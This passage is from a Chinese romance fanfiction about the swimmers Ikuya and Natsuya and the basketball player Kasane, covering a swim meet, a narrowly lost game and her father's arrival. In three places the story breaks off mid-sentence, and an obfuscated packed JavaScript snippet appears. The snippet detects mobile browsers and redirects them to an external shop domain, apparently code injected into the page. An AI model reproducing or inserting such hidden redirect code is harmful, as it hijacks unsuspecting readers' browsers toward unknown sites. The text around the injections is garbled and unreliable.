“别说是‘回巴黎’，我又不是巴黎人，应该是‘去巴黎’才对吧？啊，不好，被你绕进去了。我不去也不回巴黎。”她气恼地瞪了他一眼，“我爸想带安德烈亚去京都玩，顺道路过东京，来看望我而已。我有没有和你说过我爸又离婚了的事情？” “没有。” “那你现在知道了。” 说着这话的她丝毫没有半点阴霾，简直像是在和他分享着最新的八卦，说完还能轻快地笑两声，随手关掉闪耀着马赛港阳光的那张照片。郁弥留意到她没有锁住屏幕，只是退回到了主界面。 他当然没有半点窥私欲，也并不想要去偷看风音的手机上有什么，只是她的屏幕总是一闪一闪地折射着日光，照得他的视线有些不自在，他忍不住瞄了一眼。 就是这一眼，吓得他理智全部清零，只剩下惊恐感冲顶，瞬间把他从长椅上拽了出来。 “为、”他几乎是尖叫起来，“你为什么有这张照片！” “咦？”风音笑眯眯，举起手机，挡住嘴角狡黠的弧度，“你说我的壁纸吗？” 没错。就是壁纸。她的壁纸是郁弥。 但，是被喝醉的夏也硬生生套上了裙子的郁弥。 15.秘密但是人人皆知 实不相瞒，郁弥一直觉得，被喝醉酒的夏也强行套上连衣裙、抹上脂粉、还被他以“这种事情很难得的嘛留个纪念不好吗放心好了我肯定不会给别人看的你就相信哥哥一回嘛”为理由留下了可耻的物理证据，这段被兄长肆意摆弄的悲惨经历完全足够构成他不愿回首的痛苦回忆，绝不是可以随时搬出来咀嚼的程度。 说真的，但凡做出这么过分的事情的人不是哥哥，他都会和对方绝交的。可惜对方正是血脉相亲的兄长没错，想生气都没处撒了。好恼火。 然而更痛苦的是，就在去年，夏也不小心把这张他穿着连衣裙的照片发给了松冈凛、而松冈凛又故意把这件事告诉了他，好在那时候他还能用女仆凛的相片一较高下，于是这份痛苦勉强也不算太痛。 但是，但是，为什么现在风音也有这张照片了？说好的“我肯定不会给别人看的”呢？ 发错一次他能信，当然也可以谅解，毕竟手滑是很正常的。可这么巧的事情怎么可能发生两次？夏也肯定是故意给风音看的……可恶，哥哥这个大骗子！ 他要……他要……好吧他好像也不能对哥哥做点什么。但这份可怜弟弟特有的窝囊感也让他很生气！ 这些心情几乎是同时涌上了郁弥的脸颊，即便是在冬日的风中都能把他的耳朵烤得滚烫。随即到来的则是想要毁尸灭迹的冲动，他立刻冲风音扑过去，试图抢走她的手机。 不用想，他肯定会失败——居然想从最擅长控球、且位置就是控球后卫的现役篮球手鹿鸣风音的手中抢东西，完全是不自量力嘛！ 好几个回合下来，郁弥已经累到（也可能是急得？）气喘吁吁，而风音依旧风轻云淡，扬着一抹得意的笑。 “其实我从刚才开始就在暗示你壁纸的事了呀，结果你花了这么久才注意到。太迟钝了哟，桐岛君。”她大笑几声，“不过，这是律子阿姨的裙子吧？你既然能塞进去，好厉害哦，是怎么做到的？” 郁弥痛苦地移开目光：“拒绝回答！” 一点也不打算善罢甘休，甚至准备乘胜追击的风音伸手去拽他的衣袖。 “告诉我嘛告诉我嘛。我不会和别人说哦。” 这种承诺，郁弥再也不信了。 “我不。”他气呼呼地别开脑袋，暗自恼怒了几秒钟之后才反应过来，赶紧掏出手机，高声说，“风音的糗照，我这里也有！哼！” 当事人一脸懵，“我有糗照吗？” “到时候，就算你求我删掉，我也绝不会删的！” “所以是什么照片啦？” 郁弥不回答，依旧保持着百分之百的神秘，手指飞快地滑动在屏幕上，一下子就找到了那张照片—— ——半个身子睡在帐篷外、上衣卷到了胸口却浑然不觉、短发炸成金色蒲公英、并且对这一切全都浑然不觉，张着嘴睡得过分香甜的九岁的鹿鸣风音的照片。 郁弥觉得自己绝对是祭出了大杀招，可惜对于风音的杀伤力为零——她居然很开心地叫起来了。 “这是什么时候的照片，我怎么完全没有印象？”她甚至还能轻快地笑上几声，“我的姿势也太好笑了吧？好像海星！” 很好，他的反击失败了。并且是彻彻底底的失败没错。 可他还是不想就此放弃。 “我也把这张照片当做壁纸。”说着，他真的动手这么做了，像在赌气。 “可以呀，我是无所谓啦。”风音耸耸肩膀，“不过，照片到底是什么时候拍的？拜托啦，这件事一定要告诉我好不好？我太想知道了！” 好吧，到此为止，追加攻击也彻底失败。这下当真是郁弥的大败了。 没办法，勉强努一努嘴，抒发掉一点郁闷的心情吧。这张照片的拍摄场景也没必要藏着掖着了，就是小学时候鹿鸣家和桐岛家的妈妈带着小朋友们去远足，在午休途中，他拿相机拍下来的。虽然也不知道留着有什么用，但就是这么一直留在了他的相册里。 可惜，没能派上半点用场，真叫人失望。 不过现在失落心也该收一收了。日和催他快去会和，他也不便再磨蹭，匆忙向风音道别，一路小跑进体育馆，开始做赛前的准备。 在关上储物柜的柜门前，他的手机亮了起来——没有任何新消息，也不是因为哪个app发来了通知，屏幕就是很奇妙地亮起了，小小风音的笨拙面孔出现在眼前。 恰好，也被路过的队友看到了。 “这是不是那个什么……哪个偶像的童年照片来着？”队友随口说。 郁弥立刻用手盖住屏幕，按下锁屏键。“不是的。”他比预想中否认得更急切一些。 与此同时，他想的是，真不情愿被其他的任何人看到她的照片。 当这个念头冒出来时，郁弥自己也被吓到了。他赶紧告诉自己，这想法只是错觉而已，匆忙合上柜门，朝比赛场地走去。 十五分钟后就是他的一百米蛙泳比赛了。 裹着霜狼大学的外套走向泳池，空气里一股消毒剂的味道。随意向观众席一瞥，倒是一眼就看到了夏也和风音。他们肯定刚刚才落座，现在还在手忙脚乱地脱外套。 不用想也知道，肯定是夏也迟到了。 没错，当夏也急匆匆跑到风音面前、不停说着“不好意思”的时候，自由泳和蝶泳的预赛已经全部结束了。 “被一点事情耽搁了，还很不巧的一辆出租车都没能拦到。”他抱歉地笑笑，“害你等很久了吧？总让你等我，真是太抱歉了。” “没事，我也才刚到。” 风音撒了个小谎，视线朝夏也身后打量。 “咦，尚前辈呢？他不来了吗？” “有点小意外。他指导的一个小朋友下午差点溺水，被送去医院了。” “恐怖！” 这绝对是风音最害怕的噩梦！ 不过嘛，既然现在已经迟到了，倒也不必再紧赶慢赶，按照一贯的步调走到观众席就好。只是一落座，蛙泳的参赛者就上场了，难免让他们俩稍稍手忙脚乱了一点。 然后赶紧鼓劲欢呼，夏也的欢呼声肯定是全场最响的。郁弥也没有辜负期待，毫不意外地在预赛夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673271|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得第一，顺便刷新了大赛的记录，接下来就等他的个人混合比赛和蛙泳决赛了。 没有熟人出场的项目，风音没那么感兴趣，看得也不算认真，就算偶尔能在泳池边见到熟悉的初中同学（他们居然还在坚持游泳呀？她忍不住感叹），也还是不会觉得多激动。 “对了。”突然想到了什么，她问夏也，“为什么你没有参加比赛，你不也是关东的大学生吗？” “和我的训练日程有点撞上了。而且只是地区性的比赛，奖金和积分都不算很高，另外……” 接下来夏也说了点很专业的和职业运动员的生涯有关的内容，由于和泳坛知识紧密相连，所以从这里开始风音就听不懂了。但在他说完之后，她还是会一本正经地点点头。 “原——来——如——此——”只要把话音拖得很长，就能显得她恍然大悟了，“我明白了。” 夏也笑得很温柔，“真的明白了吗？” “嘿嘿其实没有哦。”她坦白了。 “我就知道。” 谁让她的每一处表情都在说“我很茫然”呢。 当然了，他肯定是不会为了风音的这点小小谎言而生气的。大概也不会再作多余的解释，因为他知道，她是个打心底对游泳不感兴趣的人。 “要是夏也你不嫌麻烦的话，可以用笨蛋也能明白的方式再和我解释一遍吗？” 可她却这么说了。 有点意外。 夏也笑了：“我还以为你不想听。” “没有。我只是不想被你知道我没听懂而已，感觉很丢人。但我很好奇你会怎么规划未来的职业路线。”她狡黠地眯起眼睛，像个坏孩子，“说不定我也能偷学到一点呢。” 果然藏了一点点的坏心思呢——还好，只是一点点而已。如果只是这样的好奇心，夏也会为她满足的。即便是在此之上的好奇也没关系。 午后是一百米蛙泳的决赛，依然是鼓舞和欢呼，要是看得足够投入，绝对会比在水池中奋战的选手本人还要更加疲惫。 夺得第一的人选仍不意外，依旧是郁弥。 喝彩声比水波更先一步拂过他的掌心，他喘着气，胸腔在隐隐作痛。摘下泳帽，水顺着发梢淌下来，几乎要蒙住视线。郁弥把碎发捋到脑海，视线已下意识地望向了观众席。 看台上有那么多人，相隔的距离把他们压缩成了小小的存在，本该看不真切，他却还是一眼就找到了风音。 是因为她的金发很显眼吗，还是她挥手的幅度太大了？她的双唇翕动着，她在说什么？会是和大家一样的欢呼吗？ 他的心脏跳得好快，力竭的微微痛楚不知要流到何处。 他知道的。当他看着风音时，心中会溢出的情感，与幼时无异。也就是说，此刻他的心跳，一定不是在成为大人、与她再次相遇之后才拥有的突如其来的冲动。 既然如此，那么…… 桐岛郁弥想，他怎么也忍不住地一直在想，即便离开了泳池也在想。 他在想风音。 他想，他喜欢风音。 16.如果能够拉近距离 「Ikuya：刚才，看到了一只猫」 「Kasane：什么！猫！命令你赶紧拍给我看看【伸手.jpg】」 「Ikuya：要让你失望了，我刚刚打开照相机，它就跑掉了」 「Kasane：好可惜，那不如别和我说了……期待落空QAQ」 「Ikuya：好吧，我试试看能不能追上」 「Kasane：这样会给猫咪带来很大压力吧？突然被一个人型生物追逐，是很恐怖的事情哟」 回复完这句话之后，风音就把手机丢到了桌上，继续整理冰箱。没想到，才过了一秒钟而已，手机就震了震——郁弥的回信比任何时候都要更快地到来了。 「Ikuya：不管怎样我先努力一下」 嗯……真是干劲满满…… 不知道是错觉还是她想得太多了，又或者确实是事实没错，总觉得最近郁弥的回信频率好高。 甚至不只是回复的速度很快而已，几乎她说的每句话他都会予以回应，还会主动和她聊一点无聊的话题。 难道桐岛郁弥终于迎来了久违的语言爆发期吗？真难得，也一定是天底下难得的大好事没有错！ 能见到郁弥迎来这样的变化，风音肯定很高兴啦，虽然需要应付高强度的聊天确实会让她觉得有那么一点点时间不够用就是了，还好这也不是什么大问题。 有一回，她当真太好奇了，干脆直接问他为什么最近总是很勤快地找她聊天——唯独那一次，他拖了好久好久才回复，不知道是在忙什么事情。 很勤快吗？也没有吧。可能只是手机恰好拿在了手里。他这么回复。 诶，真的不是长在手上了吗？她故意开玩笑。 然后又是长长的一段沉默，他发来一句要挟。 那我从现在开始不理你了。 郁弥君丢下狠话。 结果才过半小时，他就开始念叨今天游泳池的水太过温热，看来是完全忘记了自己刚刚许下的承诺。风音也好心地不戳穿他，毕竟她一直都是这么好人嘛。 好不容易才把乱糟糟的冰箱重新理好，下次整理可能就是明年的事情了。手机一连串地震了好几下，险些从桌旁掉下来。 打开一看，原来是郁弥发来了整整十张照片。 该怎么描述郁弥君的摄影大作才好呢……不能说是很糟，起码能看出他已经很努力了。 他似乎是真的很想要把那只猫拍给风音看，镜头努力聚焦在主角小猫的身上，但可能是有点太过急切了，镜头抖得厉害，绿化带的灌木糊成了随手一抹的油彩，其中掺着一团边缘不明的黑白色，被拉拽成奇怪的长型。 花了几秒钟，她才反应过来，这团不属于绿化带的色块才是整张照片的第一主角。 「Kasane：奶牛猫吗？」 「Ikuya：没错」 「Kasane：来不及解释了快逃！」 「Ikuya：为什么？」 「Ikuya：它比我逃得更快一点，已经不见了」 「Kasane：是嘛」 那就不用告诉他互联网上那些鼎鼎大名的奶牛猫疯癫实录了。 「Ikuya：现在可以打电话给你吗？想问问你明天比赛的事情」 在郁弥发出这条消息发出的两秒钟后，未读状态变成了灰色的已读。下一秒，风音的名字跳到屏幕上——她直接拨过来了。 不愧是百分之百的行动派。 郁弥不自觉地深呼吸了一口气，而后才接通电话。 明明已经做足了准备，可她的声音依旧像是突然地闯进了他的心里。他不自觉地攥紧背包的肩带，暗自觉得自己这样太过奇怪。 “我有种预感，你是不是要反悔了？”她一开口就这么说，“你肯定是明天不想来看我的比赛了。” 这番不靠谱的推测一下子让郁弥找回了脚踏实地的感觉，他忍不住要笑出声来。 “为什么突然冤枉我？” “合理的猜测而已。” “明明就是冤枉。”他可是很固执的，不过他目前不打算在这个问题上过分固执，只问，“女篮冬季杯的第一场淘汰赛，京王的比赛是在下午对吧？我等到比赛开始前入场没问题吧？” “这个嘛——”电话那头的风音抓抓脑袋，“没问题吧，应该？” “你怎么自己也不确定？” “谁让我是在场上参加比赛的那一方，而不是观赛的观众呢。安心啦，肯定可以的。” “那就好。” 他顿了顿，视线盯着脚下，挤出叽里咕噜的一句话。 “我对篮球没什么兴趣，这次也只是想看风音你的比赛。” 虽然说得叽里咕噜仿佛亲自想好的措辞真有这么烫嘴，却意外得很清晰地被话筒捕捉到了，让风音听得清清楚楚。 “真的吗？我很开心！感觉郁弥你对篮球的热情很快就能培养起来了！” “唔……呵呵。”他苦笑了几声。 他怀有热情的对象从来都不是篮球，而是…… 心里话当然是说不出口的，光是简单地想一想，郁弥都觉得胸膛燥热得厉害。 说了几句祝福好运的吉利话，还好明天很快就会到来。 不懂篮球的人去看篮球比赛，必然要带上靠谱的解说才好。但郁弥觉得他请来的“解说”贵澄似乎有点不靠谱，约定的时间已经过去了五分钟，他居然还是没有出现。郁弥开始认真地思考着要不要把贵澄丢在这里，和夏也一起先进场看比赛。反正他是为了风音才来的，而不是真的想看十个人在二十八米乘十五米的方形场地上抢一颗橡胶做的充气球。 真的，他差点就要把自己的这番念头落实了，好在贵澄公主此刻终于姗姗来迟。他身后还跟着他们的朋友椎名旭。他们三人以前是初中同学来着。 郁弥有点意外：“旭来这里做什么？” 椎名旭被他问得好怪：“来看比赛啊，不然还能来干嘛？” “所以说你怎么来看女篮比赛了？我以为你对篮球不感兴趣。” “不能说是不感兴趣吧。”椎名旭摸摸下巴，很认真地说，“但听说鹿鸣会登场，就觉得应该来看一看了。” 郁弥很明显地感觉到自己的大脑萎缩了一下，眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678899|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前霎时掠过初中的一切回忆，看得比走马灯还要真切。 可不管怎么看，只是同级生却不是同班同学的椎名旭和鹿鸣风音指尖，好像从来就没有发生过什么特别的交际。难道…… 在大脑描绘出最为糟糕的结果之前，他的质问已经不受控制地逃出来了：“你和风音的关系很好吗？” 突然被这么问了，椎名旭也挺意外的，不过摇头倒是一点也没有犹豫。 “不算吧？初中的时候，她不是隔壁班的嘛，我也只是因为她是郁弥你的朋友才认识他的。非要说的话，我和她的关系就是在学校走廊见到会打个招呼的程度而已。” 他解释着，顺便补上一句。 “不过，在真正认识她之前，我就已经听说篮球部有个女孩子很厉害了。哇，能把篮球打好真的超酷，所以后来我也有稍微多留意一下。” “……这样啊。” 谜题算是解开了，可不知道为什么，总觉得好像有一条猫尾巴在心里甩来甩去的，毛茸茸地挠痒。他试图丢掉这种感觉，快步朝场内走，踏上台阶的时候才意识到，夏也的目光从刚才开始就一直落在他的身上了。 被人盯着，多少有点怪。而要是这个盯人的对象变成了自己的哥哥，怪异感毫不意外地会翻倍。 郁弥试着忽略他的视线，装作什么也没有感觉到，可惜完全没用。 越是不想在意，反而变得更加在意。真糟。 “哥。’他忍不住了，“你为什么一直在盯着我？” 就这么被戳穿，夏也一点也没觉得不好意思或是怎样，所以肯定不会否认自己做了什么，坦白说：“谁让你今天看起来很怪。” “有吗？”郁弥当然不愿意承认，“没有吧。” “明明就有。你看起来好急躁。” 急躁……？ 郁弥只觉得，被夏也这么说了之后，他才真的开始急躁了起来。 他移开目光，别扭地摸摸后脖颈，说：“你的错觉而已。” 夏也顺着他的话：“可能真是这样吧。” 说话间，抵达了观众席。 这片区域是京王大学的席位，可以说是整场最好的位置，在这里的观众们，除了前来喝彩加油的啦啦队之外，其他人基本都是球员的亲友。 比赛尚未开始，工作人员仍在清洁场地。没有迟到真是谢天谢地。他们挑了最前排坐下，郁弥拜托贵澄和椎名旭往里坐，空出了靠近过道的两个位置。 “风音的家里人今天也会来看比赛。”他解释说。 贵澄特别好奇地“诶”了一声：“她爸妈吗？我好像还没见过她爸爸呢。” “爸爸和弟弟。” 没记错的话，风音说他们是中午的航班抵达成田机场，算上海关和路上需要花费的时间，估计再过不多久就要到了。 郁弥特地和夏也换了位置，让哥哥坐在风音爸爸的旁边，理由是“我不擅长和长辈来往”。夏也拿他没办法，勉强答应了这个请求。 但靠近过道的这两个席位始终空着。 从比赛开始的那一刻，直到比分来到赛点，无人造访这个预留的席位。 17.空席位如牙齿缺口 女篮冬季杯全国赛首日，第四场比赛是东京代表京王大学对阵爱知县代表东帆大学。 这场比赛吸引了比意料之中更多的观众，不只是因为强豪校京王的登场，更是因为东帆大学是本年度名副其实的黑马队伍，建校六十年来首次突破地区预选一轮游的命运登上全国的舞台，是标准到完全可以写进教科书的下克上的存在。 从冬季杯的赛事日程公布起，就有人戏称这场比赛是标准的死亡分组，不管谁输谁赢仿佛都会是理所应当的结果——强校的胜利是延续强豪的传说，黑马的成功将成为值得传颂的故事。 如此看来，就算是可耻的失败，或许也能因此变得不那么羞耻了？ 夏也对这场比赛看得不算太认真。这不怪他，对于外行人来说，总计四节、每节十分钟的比赛确实有些漫长，比分又始终处在微妙的拉锯状态，无论是京王还是东帆，谁都没能迎来期待的连续得分。更加不妙的是，现在落后的一方是京王。 他瞄了一眼计时板。 “最后一节是不是马上就要结束了？”他问郁弥。 郁弥自己也不知道——尽管开球之前，前·篮球社成员鴫野贵澄就简单介绍过篮球规则了，但现在他已经彻底忘记。 “哎哎，是不是快结束了？”他干脆去问贵澄。 “嗯。要是倒计时归零且没有平局，那就是决出胜负了。” 原来如此。 夏也下意识地又看了一眼计时板。也就是说，比赛真的只剩下一分钟而已了吗？可他身旁的座位，从比赛开始的那一刻就是空的。 “皮埃尔还来吗？”他忍不住又想问。 这依然是郁弥不知道的事情：“理论上他早就该到了。” “航班延误了？” “这个……可能只有风音能知道吧。” 毕竟他们谁也没有皮埃尔·塞杜的联系方式。 夏也抿了抿唇。 即便是从球场的角落看过来，他们所在的这一排观众席也相当显眼，缺了的两个空位的存在感完全可以和漏风的门牙媲美，绝不可能注意不到。他希望风音不会因为某人的缺席而冒出什么额外的想法。 不过，仔细想想，这整场比赛，她好像都格外专注地盯着球，一次都没有往他们所在的方向投来目光——比赛太过焦灼了。 欢呼和喝彩浮在观众席上，千百个声音混杂在一起，根本听不出他们在说什么。会是喝彩吗，对谁的欢呼？还是痛骂，指责某人做得还不够好？ 听不出来。 说真的，风音也不太想去听。 艰难的比赛不是没有经历过，失败也绝非罕见之事，但在赛场上感到如此沉重和疲惫，这是第一次。 才第一轮淘汰赛而已，怎么会打得这么艰难？对手像赖皮虫那样磨着比分，最为得意的激进进攻也无法得到成效，倒是防守的小小漏洞躲不过她们的眼睛，轻而易举就被攻破。甚至可以说，比分会变成现在可笑的78比79——没错，京王才是那个落于人后的78分——她自己也得对此负责。 可恶啊……可恶，太可恶了。 牙齿好痛，风音一点都不知道，原来她把后槽牙咬得这么紧。 只剩二十秒了，东帆的投篮没有进，队长抢到了篮板球，现在球传到了自己的手中。无论如何，一定要努力撑到比分打平才行。平分之后，才能拥有挽回局面的五分钟加时。 所以，要把球传出去吗？ 队长在后场，没办法发动进攻。斜前方的后辈还没调整好姿势，球一定会被截断，和大前锋之间也隔了好几个身位。 没有任何人，只有她了。必须由她拿下这一分。 “啊，风音带着球过去了是不是？”郁弥觉得自己好像有点懂了，可惜只有一点点，只能抓紧时间问鴫野贵澄，“可之前她好像都会把球运给别人？她也能带着球投篮吗？” “可以啊。她是控球后卫嘛。” “控球后卫是什么？我知道你已经解释过了，不过我忘了。” “你说得好理所应当……嘛，简单来说，就是专门组织进攻的位置，一般负责将球传到负责进攻的队员手中，但自行发起进攻也是完全没问题的。郁弥你懂排球吗？” “不懂。” “总之就是和排球里的二传手差不多的角色。” “可我不懂排球。” “好吧……啊，她要到前场了，马上就要投篮了！” 最后的十秒钟。 风音从右侧强突，甩开了对方的防守。沉重了一整场比赛的身体与她的心，直到这一刻才轻飘飘起来。 一定是现在了——能够逆转整场比赛的流向，就是现在。 她觉得自己的状态意外得好。视野很清晰，篮球落在掌心里的触感也分外真实，篮板也在逐渐向她而来。 必须，必须得投进去，她需要再向前一步。 与篮球脱手在同一时刻到来的，是迎面而来的冲击感，强烈到在那个瞬间她的大脑也陷入了短暂的空白。风音被撞到在地，可视线还自发性追着球。 她听到了很好听的“嗵”一声，是篮球穿过网袋的“嗵”一声，象征着进球的“嗵”一声。 可是，没有欢呼。 裁判尖锐的哨声瞬间刺穿了整个体育馆的声音。裁判举起手，握紧的拳指向背向她的篮筐的那一侧。 球员进攻犯规，作为惩罚，球权转换至另一方。 寂静，而后喧闹。在说什么？真吵。 “这次又怎么了？” 郁弥仓促地去拽贵澄的袖子。 他完全没看明白这是怎么回事，只知道风音和对方的球员撞在了一起，然后裁判就吹哨了。但场上的诡异氛围，郁弥还是能感觉到的。 “鹿鸣撞到了对方的防守球员，这是犯规。她当时可能太急躁了。” “那……”无论何时，“犯规”这个词都会让他觉得很不自在，“刚才的投篮也不计分了？” “没错。” 球权转换，东帆发球之后，比赛依旧继续，但只有十秒钟了。 不管如何奔跑、如何争夺篮球，全都来不及了。 风音觉得自己像是一只愚蠢的羊，追逐着球奔跑，脚步沉重地砸在地板上，呼吸都带着疼痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687863|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只剩短短几秒了。对方甚至不需要再思考什么战术，只需要消磨时间就好。 滴答、滴答、滴答。 正如任何时刻都不会驻足，时间毫不留情地走到最后。哨声再度吹响，比赛结束了。羞耻的78-79烙在比分板上。 观众席依然嘈杂，嗡嗡的声响冲进大脑。 风音喘不过气。 好累，胸腔好痛，她耗费了太多力气，以至于整个身体都在下沉，几乎要陷入地板的深处。“该列队了。”队长拍着她的后背。 脑袋还是有点迷迷糊糊，有种微妙的眩晕感，像是在游乐园的转圈茶杯里转了太多圈。接下来发生的事情更像是断断续续的片段，她只在某几个瞬间回过神来了——在东帆欢呼的时候、在教练说“你们已经表现得很好了”的时候、在与对方握手准备退场的时候。 啊，还有列队向观众道谢的时候。 风音不想看观众们表情，他们一定很失望。可鞠躬起身的时候，视线还是无法控制地扫过了坐席。空缺的位置真显眼。 然后退场，去后台做拉伸，换下湿漉漉的、沾满失意的球服。 “没事的，小风。”真理亚递上水壶，“别放在心上。” “啊。嗯。” 这是第一次在全国大赛的第一轮就被淘汰。 在今日之前，她们曾登上过领奖台，也捧起过冠军奖杯，再不济，也能得到不会失望的成绩，可今天却…… 第一轮就被淘汰了。可耻的失败。 失败总该伴随着泪水。很奇妙的是，京王的大家谁也没哭，教练当然也不会哭。“不管怎么说，都是精彩的比赛。”她还说了鼓舞她们的、但听起来总难免显得冠冕堂皇的漂亮话，虽然这话没能钻进风音的耳朵里。 “比赛结束得比设想的更早，觉得不甘心也很正常。这或许对你们来说，也是很新奇的感觉。痛苦不是什么好事，但从未拥有痛苦一定更糟。这几天，大家就好好休息吧。一切问题，我们留到下次的训练一起解决。” 风音没有认真在听。空调风吹冷了汗水，她不住地发抖，匆忙穿上外套，跟着大家一起走向停车场。期间似乎与眼熟的面孔擦肩而过，但看不真切，所以她没有停下脚步，蒙头往前走。 夏也本想出声唤她，却没能出声。他不确定自己在犹豫什么。 挺着大肚子的一个中年男人从身旁经过，闲言碎语钻入耳中，抱怨着：“京王真是太废物了，首发的那个金毛的归化球员也不行，个子不算高技术也菜，真是……” 当夏也意识到他指责地对象是谁时，郁弥已经冲到他面前了。 “你说什么？鹿鸣是本土的选手，留着和你和我都一样的血！”他前所未有的急躁，“况且，就算真是归化球员又怎样！” 椎名旭和贵澄抱着郁弥的腰把他拽回来，尽管如此，说三道四的中年男人还是后退了好几步，锐利的怨气瞬间消失了好多，只嘀咕着“现在年轻人火气真大”之类的话。 气急败坏的弟弟郁弥和连头都不愿意抬起来的风音……夏也忍不住叹气。 事情似乎越来越麻烦起来了。 18.不会说话可以不说 从体育馆到学校，开车只需要半小时，是眨一眨眼就能轻松度过的短暂时光。可惜周末午后的路况不佳，从霞丘町一路堵到新宿，看来归途要被拖长一些了，只是具体会延长到多久，暂时还没有概念。 风音把脑袋搁在玻璃窗上。大巴车的引擎带动着整辆车都在发出嗡嗡的震动声，不过她倒是没觉得有什么难受的，毕竟她的意识已经不知道飞到了什么地方去。 现在是不是正在思考着一些什么呢？也许吧，也可能不是，思维变成了一团捉摸不透的浑水，总是在某些时候才回过神来，意识到自己的大脑还在重播着刚才赛场上的那一幕——往前冲、撞击、进球、吹哨。 “进攻犯规，球权转换。” 风音闭起眼。她有点头疼。 车内意外得很安静，明明以前比赛结束之后，大家总会叽叽喳喳聊点什么，哪怕是输了，气氛也不会僵成这样。可今天大家都像是没电了的玩具，坐在各自的座位上。有人和她一样在发呆，或是在睡觉，温暖的空调风钻进空气中的每一寸，捂得人很热。 纯粹只是为了变换一下心情，风音打开了手机。 没有任何新消息。最新的聊天记录是和妈妈鹿鸣幸的对话，她问今年冬季杯会在哪个网络平台直播，风音说，第一轮淘汰赛很无聊的，不值得在柏林时间早上五点钟收看，还是等第二轮或干脆决赛的时候再看吧。 现在想想，这话真的有点自信到让人讨厌了。 皮埃尔的消息当然是没收到。他没有来看比赛，不知道是不是死在飞机上了——或者是从成田机场开往上野的skyliner列车脱轨了？除此之外想不到任何合理的、他没有带着安德烈亚一起到场的情况。 风音想要打电话问问他，不过现在车上的气氛实在不适合进行她与父亲的私人对话，还是晚点再说吧。 磨蹭了五十分钟才到学校，照理还是要在体育馆集合一下。有人睡得眼皮红肿，看起来好怪，不过风音也并非留意到这事。她低着头走路，只在看自己的脚尖。 教练大概说了点鼓舞她们的话，这些她也没有怎么在听。或是说她认真听了，可那些言语怎么也没能顺利地进入大脑，倒是本周不用训练的这句话听得最为清楚。 教练离开之后，风音向大家道歉。 “没事啦，别放在心上。” “不瞒你说，如果是我接到了那个球，肯定也会选择直接进攻的。” “想在最后半分钟逆转结果，真的很难。我们已经尽力了。” “人家这次拿的是主角剧本嘛，我们就是被主角打败的boss。” 大家只是这么说。明明是很美好的话，风音却觉得无所适从。 恍惚间，千夏的手搭在了她的肩上：“受伤了吗？” “嗯？” “你不是被对方撞到地上了嘛。” “啊，是是。”这件事她居然已经有点记不清了，“我没事，没有受伤。” “那就好。”队长放心地拍了拍她的后背，“可以全身心地为下一次的比赛做准备了！” 下一次吗？可是…… 风音不敢想下去，匆忙点了点头，中断了思考。 无论如何，这一天到此就该算是结束了。风音踏着夕阳迈出校门，觉得现在是时候给皮埃尔打电话了。 “安德烈亚一下飞机就开始吐，把海关入境处都熏臭了，Merde！医院说他肠胃敏感，刚刚才打完点滴，正在往你那儿赶。你的比赛是不是还没开始？” “结束了。” “Oh là là……你的语气听起来不高兴，没有赢吗？” “……嗯。” “好吧。你别想太多了。现在我带安德烈亚来你家找你？” “嗯。你记得地址吗？” “记得的。一会儿见，Adios！” 法国人为什么要说西班牙语的再见？风音搞不懂他，也懒得说再见，直接挂断了电话。 回家的路上倒是收到了郁弥和夏也的消息。 不知道他们是不是说好了，又或者是兄弟之间的默契在作祟，居然差不多同时发来了消息，内容大差不差，都是说今天看到了一场很精彩的比赛，期待下一次再为她到场祝贺，希望不要因为今天的一点小意外而想得太多。她很感激他们愿意这么说，可真的有点提不起劲来回复。 已读不回绝不是好习惯。不管怎样，在坐上电车的那一刻，她还是编辑好了（敷衍的）回复，按下发送。然后复制一遍，再发给另一个人，然后收起手机，再也不看了。 想着皮埃尔来了总得做晚饭——意思是皮埃尔帮她做菜而不是由她走进厨房——回家前顺便绕路去超市，揣摩着他和安德烈亚的口味随便买了点。 他们俩则是在她到家的五分钟后抵达的。 “Merde，你怎么突然窜这么高了！艾莉娜，你没有在吃什么奇怪的东西吧？”他一副很惊讶的表情，“以前在巴黎的时候，你才，才……这么点吧？” 他的手在风音的下巴处比划，而他说的“以前”，已经是刚升上高中时因为妈妈的工作调动而不得不住在皮埃尔家的那一年的事了。 风音不搭理他做作的惊讶，只垂眸看向他身后的安德烈亚。 和偶尔的视频通话中能见到的那个小孩一样，弟弟安德烈亚有着和她一样的金发，但是更卷曲一点，像是弹簧插在头顶上。 可能是玄关处不够明亮，又或者是吊水真的有效，他看起来脸色还不错，精神也挺好，这会儿正好奇地抬头看她摆在鞋柜上的信件，因为上头净是他从来没见过的奇妙文字。 